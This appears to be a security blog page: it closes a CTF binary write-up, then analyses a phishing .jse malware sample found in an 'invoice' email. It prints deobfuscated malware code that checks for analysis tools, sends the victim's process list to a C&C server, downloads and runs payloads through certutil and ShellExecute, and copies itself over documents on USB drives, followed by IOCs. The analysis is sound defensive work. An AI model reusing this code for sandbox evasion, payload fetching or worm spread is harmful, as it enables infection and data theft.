And here, I was WTF?? "iWaszeMyTime" ?? This one didn't flag on the platform.

Curiously:

mitsurugi@dojo:~/chall/FIC2018/v24$ ./a.out 
ENTER PASS :iWas#eMyTime
WINnmitsurugi@dojo:~/chall/FIC2018/v24$ 
mitsurugi@dojo:~/chall/FIC2018/v24$ ./a.out 
ENTER PASS :iWas*eMyTime
WINnmitsurugi@dojo:~/chall/FIC2018/v24$ 
mitsurugi@dojo:~/chall/FIC2018/v24$


I thing you already find the real answer: 'iWasteMyTime'.

This is really a strange side effect of the binary. I don't understand why it validate any strings.
In CTF, you run for flag, you don't dissect binaries :-)

Maybe the challenge is buggy ^_^

Let me give you a taste of my steel.
~Soulcalibur III - Mitsurugi

lundi 30 octobre 2017

sandbox evasion for a .jse malware

1/ source email

I was sitting in front of my PC playing SoulCalibur. An IRC window popped up, with one of my friend saying:

"Hey, you should check this strange email I've received. I don't know what's in it, I'm not a customer of this company".

The mail was a classical email with the text: "you got an invoice, please check and pay" (sort of). The
attachment was 1&1.pdf.facture.rar (facture means invoice in french).

I quickly tell him that it was highly suspicious, that he must trash this mail, and I dig into it.

2/ Analysis

2/1/ First analysis

The file seems to have some interesting anti-sandbox techniques. Sandboxes are equipment placed in front of email server, dedicated to malware analysis. Your mail is sent through those big boxes, email attachments are extracted, unzipped, then sent to a windows VM in order to analyze what this file will
do to the computer. Thoses boxes are mainly linux boxes, which is a point to keep in mind.

The 1&1.pdf.facture.rar file has some interesting characteristics:

mitsurugi@dojo:~/chall/infected/kukushka$ file 1\&1.pdf.facture.rar 
1&1.pdf.facture.rar: ACE archive data version 20, from Win/32, version 20 to extract, contains AV-String (unregistered), with recovery record, solid
mitsurugi@dojo:~/chall/infected/kukushka$ # So it's an "ace" file
mitsurugi@dojo:~/chall/infected/kukushka$ mv 1\&1.pdf.facture.rar suspicious.ace
mitsurugi@dojo:~/chall/infected/kukushka$ ls -l suspicious.ace 
-rw-r--r-- 1 mitsurugi mitsurugi 102481 oct.  23 15:58 suspicious.ace
mitsurugi@dojo:~/chall/infected/kukushka$ unace l suspicious.ace 
UNACE v1.2    public version

Processing archive: suspicious.ace

Authenticity Verification:
created on 10.10.2017 by *UNREGISTERED VERSION*

Date    |Time |Packed     |Size     |Ratio|File

                         0|        0| 100%| 0 files

mitsurugi@dojo:~/chall/infected/kukushka$ 

This file contains ... nothing (?) It's obviously a false positive. My best guess is that the spammer wants to confuse sandboxes. If you don't have any file to analyze, sandbox couldn't tell if the file is infected :)



But one question remains, why the name of the file ends in .rar and not .ace? The .ace extension is not widely used under windows. Renaming it .rar can extends the availibilty of the spam campaign,
and yes, winrar under windows extracts the file too.
This is a really nice anti-sandbox trick :)

As you can guess, there is indeed something:

mitsurugi@dojo:~/chall/infected/kukushka$ strings suspicious.ace | head -5
**ACE**
*UNREGISTERED VERSION*
1&1.pdf.facture.jse,
*M4D
?p}q
mitsurugi@dojo:~/chall/infected/kukushka$

You have to boot a windows machine, download winace (or winrar) and unzip the file. Warning, a misclick could infect your machine.

Once extracted, you can see that the file is a .jse (javascript encoded file):

mitsurugi@dojo:~/chall/infected/kukushka/take2$ hexdump -C suspicious.jse | head
00000000  23 40 7e 5e 52 43 49 47  41 41 3d 3d 56 21 33 3b  |#@~^RCIGAA==V!3;|
00000010  6b 74 30 6c 6b 09 59 4b  31 59 7b 24 7b 47 2b 7e  |kt0lk.YK1Y{${G+~|
00000020  71 54 4f 54 69 30 3b 33  21 2f 74 30 43 32 6c 31  |qTOTi0;3!/t0C2l1|
00000030  33 6d 6f 6e 2c 71 4f 7b  24 7b 2c 52 53 2a 5a 25  |3mon,qO{${,RS*Z%|
00000040  44 49 30 45 33 3b 64 34  33 43 68 4b 3b 5e 4e 30  |DI0E3;d43ChK;^N0|
00000050  44 27 5d 76 76 79 7e 57  71 54 70 7f 6e 44 7f 59  |D']vvy~WqTp.nD.Y|
00000060  78 6a 44 44 6b 09 4c 24  72 2d 36 2b 7f 77 36 46  |xjDDk.L$r-6+.w6F|
00000070  20 27 36 7f 73 77 61 2b  66 77 36 57 66 2d 58 76  | '6.swa+fw6Wf-Xv|
00000080  30 77 58 76 46 77 61 46  20 77 36 57 66 27 36 7f  |0wXvFwaF w6Wf'6.|
00000090  77 2d 58 76 63 27 36 2b  58 4a 59 69 57 45 09 6d  |w-Xvc'6+XJYiWE.m|
mitsurugi@dojo:~/chall/infected/kukushka/take2$

This file can be extracted to a plain .js file thanks to a decoder:
https://gist.github.com/bcse/1834878

We have a long file, 400kb long without any carriage return.

mitsurugi@dojo:~/chall/infected/kukushka/take2$ wc suspicious.jse
     0   8881 402013 suspicious.jse
mitsurugi@dojo:~/chall/infected/kukushka/take2$

2/2/ desobfuscating js file

The file can be beautified with a site like jsbeautifier.org, and we can see that it's obfuscated:

kukushkainto9t = [776, 109];
kukushkapackage91t = [798, 508];
kukushkawould8t = [662, 41];
Weret = String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];

function Pesen(a) {
    return a.length;
};
kukushkahelp13t = [885, 31];
kukushkabecome59t = [389, 210];
kukushkaonly52t = [570, 520];
kukushkaTeaching44t = [63, 64];
kukushkacome84t = [563, 237];
kukushkaknow23t = [83, 120];
kukushkaknowledge24t = [689, 726];
kukushkaacquired16t = [291, 172];
kukushkalifeNurturing10t = [695, 606];
kukushkateacher32t = [171, 621];
kukushkabooksDIRECTORDirectorate89t = [156, 498];
kukushkayes17t = [230, 612];
var kukushkaface35t = 0.708;
var kukushkasoft34 = this[(function hkai_7hk9() {
        kukushkaregards76t = 'Lake10';
        kukushkahave12t = 'about76';
        return Weret(64 ^ Pesen(arguments));
    })('holes94', 'that46', 'wife5', 'picking16', 'What99') + (..400kB long like this...)
It's time to deobfuscate. With 400kB, you can't do it by hand, you have
to automatize things. Find obfuscation patterns, remove them and iterate.

Main steps are:
a) renaming utf8 vars to ascii:
var\ u0073\ u0063\ u0072\ u0031\ u0070\ u0061\ u0074\ u0068 = kukushkavocabulary3to30[(function hkae_5hkaT4() {

This can be done automatically:
var scr1path = kukushakvaocabulary3to30 

b) calculating Weret, pesen and easy functions:

Weret is the function "fromCharCode"


Weret = String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];

function Pesen(a) {
    return a.length;
};
(function hkai_7hk9() {
     kukushkaregards76t = 'Lake10';
     kukushkahave12t = 'about76';
     return Weret(64 ^ Pesen(arguments));
  })('holes94', 'that46', 'wife5', 'picking16', 'What99')

the first two vars are useless, the end is just length of arguments xored with a constant. In the end, this is fromCharCode(64 XOR 5) = 'E'

This structure comes really often, we can automatize it with regexp, extraction evaluation of js code and replacement.

c) Evaluating long vars
and we have a lot of var name and expression splitted in pieces:
var kukushkatoto42 = "E" + "r" + "r" + and so on..

This is not really hard to deobfuscate, just take times. It can be automatized.

d) repeat
We repeat all those simplifications with some python scripts.

e) simplification
Here is the stripped down version of the .js file

mitsurugi@dojo:~/chall/infected/kukushka/take2$ wc *js
   9947   49021  630068 simplified0.js
   9947   47780  621653 simplified1.js
   5584   26049  328812 simplified2.js
   3186   14345  185647 simplified3.js
   3081   13770  178223 simplified4.js
   3034   13566  176057 simplified5.js
   1331    6580   96156 simplified6.js
    457    3089   28791 simplified7.js
    457    2286   25936 simplified8.js
    435    2175   24069 simplified9.js
    322    1854   21089 simplified9-manual0.js
    286    1127   15156 simplified9-manual1.js
    307    1113   14922 simplified9-manual2.js
    280    1032   14040 simplified9-manual3.js
mitsurugi@dojo:~/chall/infected/kukushka/take2$

2/3/ cleaned up and disarmed

For reference, You can see in git a disarmed version of the js file. This js file doesn't do any harm. All risky things are commented out. There is also a zip file with every steps. (pass: infected, warning, this is malware)

3/ Program analysis

You can see the program as a big while(true) loop:

-Checks the location of .jse file
-While true loop
  Get process list, OS and username
  Check for some well known analysis tools (and exit if yes)
  Copy itself to startup folder
  -While true loop
    Connect to C&C
    Get file
    If WORM_MODE, then replace all file in removable drives byt iself
    Exec file downloaded previously

3/1/ startup

At start, the jse file checks if it was launched from the Start Menu\Programs\Startup\ folder and if it has the name adobe_upd.jse.

In any case, it throws a fake error message then continue (all comments are mine).

/* [+] JSEFILE is C:\Users\mitsurugi\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe_upd.jse */
try {
    if (scr1path != JSEFILE) {
       objFile = FSObject["OpenTextFile"](scr1path, 1, false, 0);
       mybodyhere = objFile["ReadLine"]();
       objFile["Close"]();
       FILENAMEisBAD = true;
       if (SHOW_ERROR) ObjectWscriptShell["Popup"]("scr1path is not JSEFILE!!", 10, "Error", 16);
       if (FSObject["FileExists"](JSEFILE)) {
     /* In case user launch another time the file by double clicking on it?*/
           this.WScript["Quit"](1);
        }
    } else {}
} catch (WSdrFgyvb) {
    ObjectWscriptShell["Popup"]("A File Error has Occurred", 5, "Error", 16);
}

It makes the a huge iteration:

while (16) {             /* While True */
    gokolp0 = "low";     /* gokolp0 is never used elsewhere */
    Counter = Counter + 1;
    if (Counter == 2040000) {
      /* all malware code */
    }
}

Once again, it can be seen as an antidebug techniques. Some sandbox and antivirus checks the
file for a specific time. To avoid "Sleep()" function, they often hook the sleep's to
accelerate time. With a loop like this, there nothing you can hook to accelerate time.

3/2/ Get a lot of information from victim

The script uses wmi to grab all of information needed:

var obj00WMI = this.GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
var ProcessList = new this.Enumerator(obj00WMI["ExecQuery"]("Select * from Win32_Process"));
var Win32OSList = new this.Enumerator(obj00WMI["ExecQuery"]("Select * from Win32_OperatingSystem"));

It checks this list for exitingi (option9 == -1) (comments are my own):
 if (ProcessPathAndName["indexOf"]("Procmon") != option9 ||
     ProcessPathAndName["indexOf"]("Wireshark") != option9 ||
     ProcessPathAndName["indexOf"]("Temp\\iexplore.exe") != option9 ||
     ProcessPathAndName["indexOf"]("ProcessHacker") != option9 ||
     ProcessPathAndName["indexOf"]("vmtoolsd") != option9 ||
     ProcessPathAndName["indexOf"]("VBoxService") != option9 ||
     ProcessPathAndName["indexOf"]("python") != option9 ||
     ProcessPathAndName["indexOf"]("Proxifier.exe") != option9 ||
     ProcessPathAndName["indexOf"]("Johnson") != option9 ||
     ProcessPathAndName["indexOf"]("ImmunityDebugger.exe") != option9 ||
     ProcessPathAndName["indexOf"]("lordPE.exe") != option9 ||
     ProcessPathAndName["indexOf"]("ctfmon.exe*JOHN-PC") != option9 ||
     ProcessPathAndName["indexOf"]("BehaviorDumper") != option9 ||
     ProcessPathAndName["indexOf"]("antivirus.EXE") != option9 ||   /* ??? antivirus.EXE?? */
     ProcessPathAndName["indexOf"]("AgentSimulator.exe") != option9 ||
     ProcessPathAndName["indexOf"]("VzService.exe") != option9 ||
     ProcessPathAndName["indexOf"]("VBoxTray.exe") != option9 ||
     ProcessPathAndName["indexOf"]("VmRemoteGuest") != option9 ||
     ProcessPathAndName["indexOf"]("SystemIT|admin") != option9 ||
     ProcessPathAndName["indexOf"]("WIN7-TRAPS") != option9 ||
     ProcessPathAndName["indexOf"]("Emily\\AppData") != option9)  /*Who's Emily? */
     {
       reader["alert"]("Screw you guys, Im going home!!!!");
 /* "reader" (?) seems undefined */
       this.WScript["quit"](1);
     }

As you can guess, all of those process path and name are related to analyis environments

3/3/ Calling C&C

The C&C has the real address. It's obfuscated for the blogpost


url_ppp = "hxxps://185[.]159.82[.]50:9500/XA/mijagi.php?netuid=bugaga&add=2097d7b063d6f8b5cc803abf3df758aa";
url_ppp = url_ppp + "&u=" + Math["abs"](kukushkaships15) + "&o=" + kukushkatouches96 + "&v=" + icount + "&s=1994";
msxmlXMLHTTP["open"]("POST", url_ppp, false);
if (FILENAMEisBAD) {
  /* At first, Filename is bad because it is not in startup folder
  So we sent our name and list of processes */
  msxmlXMLHTTP["send"](ProcessPathAndName);
} else {
  /* This is the part when the jse is in the autostart folder */
  msxmlXMLHTTP["send"]();
}


  • The netuid and add parameter are hardcoded.
  • The kukushkaships15 depends of the length of the path of the jse file.
  • The o parameter depends of many things (0 at first, can be 9999, 45, 46, 47, or 9)
  • The v parameter is 10 or 20
  • The s parameter is Random


The interesting part is that it sends all of your data (Process list, OS version and name) to the C&C at the first loop iteration. Maybe the botmaster tracks stats of its emailing?

The feedback from the C&C is given through an HTTP-Header (!)

if (msxmlXMLHTTP["status"] == 200) {
if (kukushkatouches96 == 0) {
try {
  if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == '0') {
  file1path = JSEFILE;
  option9 = 0;   /* discriminate based on the response */
}
} catch (WSdrFgyvb) {}

try {
  if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("1")) {
  option9 = 1;   /* Guess it's the exe */
}
} catch (WSdrFgyvb) {}

try {
  if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("2")) {
  option9 = 2;  /* Or the text to be passed to certutil */
}
} catch (WSdrFgyvb) {}

try {
if (msxmlXMLHTTP["getResponseHeader"]("Content-Transfer-Encoding") == "binary") {
  ADODBStream["Open"]();
  ADODBStream["Type"] = 1;
  ADODBStream["Write"](msxmlXMLHTTP["responseBody"]);
  ADODBStream["Position"] = 0;
  ADODBStream["SaveToFile"](file1path, 2);  /*file1path rnd name.exe */
  ADODBStream["Close"]();
} else {
if (CCresponseText.length > 10);
  objFile = FSObject["CreateTextFile"](TEMPFOLDER_file_mtm, true, false); /*mtm file */
  objFile["WriteLine"](CCresponseText);
  objFile["Close"]();
  this.WScript["Sleep"](5000);
  shellApp["ShellExecute"]("certutil", "-f -decode" + TEMPFOLDER_file.mtm + ("") + charq + file1path + charq, '', "open", 0);
}
}

We understand that server can send either a binary file (.exe) or a base64 one.

3/3/ Wormisation

This file has wormable capabilities. It search for any removable drives, and duplicate its .jse contents to any file ending in
var FileExtTargets ="*.doc*.xls*.pdf*.rtf*.txt*.pub*.odt*.ods*.odp*.odm*.odc*.odb*.wps*.xlk*.ppt*.mdb*.accdb*.pst*.dwg*.dxf*.dxg*.wpd";

The file content is wiped, replaced by the jse content, and file extension is replaced by .jse.

This is not really a stealthy way to propagate, but it can works.

3/4/ Code execution

Finally, the .jse tries to launches the exe file.
option9 is given by the server header.

switch (option9) {
case -1:
 shellApp["ShellExecute"]("cmd", "/c start " + file1path, '', "open", exit123);
 kukushkatouches96 = 45;
 break;
case 0:
 shellApp["ShellExecute"]("cmd", "/c start " + file1path, '', "open", exit123);
 kukushkatouches96 = 46;
 break;
case 1:
 shellApp["ShellExecute"]("rundll32", charq + file1path + charq + " secretFunction", '', "open", exit123);
 kukushkatouches96 = 47;
 break;
case 2:
 shellApp["ShellExecute"]("taskkill", "/f /t /im chrome.exe", '', "open", 0);\
 shellApp["ShellExecute"](file1path, "/silent /install", '', "runas", 1);
 kukushkatouches96 = 48;
 break;
}

So, the downloaded file seems to be a plain exe, a dll and an installer which must kill Chrome
before installing (?)

3/5/ Fun stuff

As usual in worms/malware, you can find funny strings:
reader["alert"]("Screw you guys, Im going home!!!!");
It can be a reference to South Park

When server sends data, there is an header:
if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("2")) {
and the wormable part uses a temp filename called "saymyname"

It seems we have a fan of breaking bad here.

The obfuscation makes an heavy use of kukushka to prefix variable names. kukushka means cuckoo in russian. Don't know what to conclude here.

4/ Get the files

I've used my disarmed file to get the files, but didn't succeeded. At the time of writing this blog, the server doesn't respond anymore, so the campaign is finished I guess.
As this file makes a lot of antidebug techniques, I don't think you can easily get the files. All parameters depends on something, you have strict timers. Maybe server part checks everything and sends only file to specific targets. I used my disarmed js file instead of making some wget for those reason.

In Virustotal, you have the first occurence of the file the 10 of October, the viral detection beguns the 13:
https://www.virustotal.com/#/file/e5fcb6e3ecbd08e18445d04edb84384eadff13cd01e91b737fcc2f0fb1b4d10d/detection  (suspicious.ace file)

https://www.virustotal.com/#/file/224ad333eb3b27056b968c453ad007aa5a4a613730da767937c7c2511bf2b84f/detection  (suspicious jse file)

https://www.virustotal.com/#/ip-address/185.159.82.50
This one is interesting because someone tries to analyze https://185[.]159.82[.]50:9500/DA/mijagi.php?netuid=bugaga which is only a part of the requests made to the C&C. May be someone deobfuscating the .jse and who doesn't saw that there is more in parameteres

5/ IOCs

It seems pretty useless to block the IP.
Strangely, the header name you_god_damn_right seems more reliable. You can find other occurence of it in the googleweb:

https://community.spiceworks.com/topic/1954953-file-ext-changed-to-jse  (go to the end of the post)
Date: Sep 2 2017

https://www.hybrid-analysis.com/sample/9157e7ed6aa77da3575cbbc32e3c2c5fd7074e9ffe326b96b0cbefa897f8c581?environmentId=100
Date: August 2017

http://ddecode.com/hexdecoder/?results=bed2e8df3925d8712bb1d2ba55cb9063
(no date)

https://securite.intrinsec.com/2017/05/16/exercice-de-desobfuscation-dun-jse-par-le-cert-intrinsec/ (in french) in may 2107.

So, if you have an appliance in your network making SSL analysis, you could check if some HTTP servers sends an header 'you_god_damn_right' and block it. It can helps you without any risk of false positive.